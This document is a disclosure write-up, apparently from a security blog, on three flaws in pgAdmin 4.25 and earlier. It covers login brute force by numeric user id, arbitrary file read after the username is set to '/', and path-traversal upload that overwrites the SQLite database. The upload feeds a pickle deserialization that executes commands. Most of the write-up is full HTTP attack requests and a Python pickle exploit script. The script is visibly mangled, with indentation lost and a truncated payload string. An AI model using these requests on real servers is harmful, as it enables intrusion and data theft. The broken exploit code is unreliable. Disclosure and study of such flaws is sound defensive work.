Multiple vulnerabilities in pgadmin <= 4.25

pgadmin4 vulnerabilities Affected version: 4.25 and below, fixed 4.26
https://github.com/postgres/pgadmin4/tree/REL-4_25
Affected version: 4.25 and below, fixed 4.26
Three vulnerabilities found

pgadmin login verification defect lead to easy brute force cracking

Vulnerability analysis:
pgadmin uses flask-security to build authentication login, but when the user name is entered as a number,
the program will perform user_model.query.get query and return the object:

/flask_security/datastore.py:521

When the user object exists, pgadmin will prompt that the password is incorrect. When logging in to the system,
you don’t need to know the email and username. You only need to enter the number and brute force it to get the system login permission easily.

test environment:
pgadmin4
username: user@pgadmin.com

When the number 1 is entered, the password is incorrect, indicating that the database information is matched successfully

You can traverse and blast all the passwords of the correct login account through the primary key id to enter the system:

pgadmin File Manage interface arbitrary file reading

Vulnerability demo:

1) Use the administrator account to add a account and use the PUT method to modify the user name to “/“:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PUT /user_management/user/2 HTTP/1.1
Host: 192.168.123.120
Content-Length: 166
X-pgA-CSRFToken: IjJjMmU5OTc5OTZjMTgwMWUwMThiNDkyYjhkZTVmODBmYjQ0MDYwNDUi.X1ULJg.WWZ-cfX1AKkHFHjmR0g0FRTKqz4
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Origin: https://192.168.123.120
Referer: https://192.168.123.120/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-TW;q=0.9,zh-CN;q=0.8
Cookie: pga4_session=83ebba90-43f8-4668-89c0-16658c579a4e!//j+Ar0ZU2BcDih+7YkSWPbIs7A=; PGADMIN_LANGUAGE=en
Connection: close

{"email":"sectest@sec.com","username":"/","active":true,"role":"1","newPassword":"123456","confirmPassword":"123456","auth_source":"internal","authOnlyInternal":true}

2) modify username to “/“ success:

3)Find the download interface from the code to download any file:

1
2
3
4
5
6
7
8
9
10
GET /file_manager/filemanager/6122200/?mode=download&path=/pgadmin4/config.py HTTP/1.1
Host: 192.168.123.120
X-pgA-CSRFToken: IjZhZDQ4MjZhNDcyZjU5MzMzZTRiMGJjYzkwNjAyMzQ2NDI5NDYyNDEi.X1jpeg.DfOX46UksQVkitJwyUrD2S5viNE
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
Referer: https://192.168.123.120/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9
Cookie: pga4_session=2a7c0e68-3f5c-4fb9-a5e7-aea4ab980c43!mrbtthlY17M0iphrp2Lg8S0Lj8c=; PGADMIN_LANGUAGE=en
Connection: close

Vulnerability analysis:

def get_storage_directory() Used to get the upload file storage directory:
The Code uses os.path.join to combine username and default storage directory,If the user name is “/“, os.path.join defaults to “/“,so also bypass function check_access_permission() :

Arbitrary file upload overwrites sqlite execution deserialization causing command execution

filemanage file name upload across directories:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /file_manager/filemanager/8388910/ HTTP/1.1
Host: 192.168.123.120
Content-Length: 12957
X-pgA-CSRFToken: ImQ5NmM3MTVkYzU4YmI3N2I2YTE4MWQxMGUwODBlODNhYjc4ZTRjYjgi.
Accept: application/json
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundarywdHFG1O2RvkHKzD6
Origin: https://192.168.123.120
Referer: https://192.168.123.120/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-TW;q=0.9,zh-CN;q=0.8
Cookie: COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; pga4_session=; PGADMIN_LANGUAGE=en
Connection: close

——WebKitFormBoundarywdHFG1O2RvkHKzD6
Content-Disposition: form-data; name=”mode”

add
——WebKitFormBoundarywdHFG1O2RvkHKzD6
Content-Disposition: form-data; name=”currentpath”

/
——WebKitFormBoundarywdHFG1O2RvkHKzD6
Content-Disposition: form-data; name=”newfile”; filename=”../../../../../../../../../../var/lib/pgadmin/pgadmin4.db”
Content-Type: image/gif

database content…………………………………

1) overwrites sqlite database:

2)Create a pickle object for the process.desc field:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import os
import pickle
import socket
import pty


class exp(object):
def __reduce__(self):
a = python -c “import”
return (os.system,(a,))


e = exp()
s = pickle.dumps(e)

import sqlite3

# OK, now for the DB part: we make it…:
db = sqlite3.connect(‘pgadmin4.db’)
db.execute(‘UPDATE process set desc = (?) where pid=”123″‘, (s,))
db.commit()
db.close()

database content:

3)GET requests /misc/bgprocess/ Trigger the deserialization operation to read the content of the process.desc field to cause the command to execute:

如无特殊说明,均为原创内容。转载请注明出处!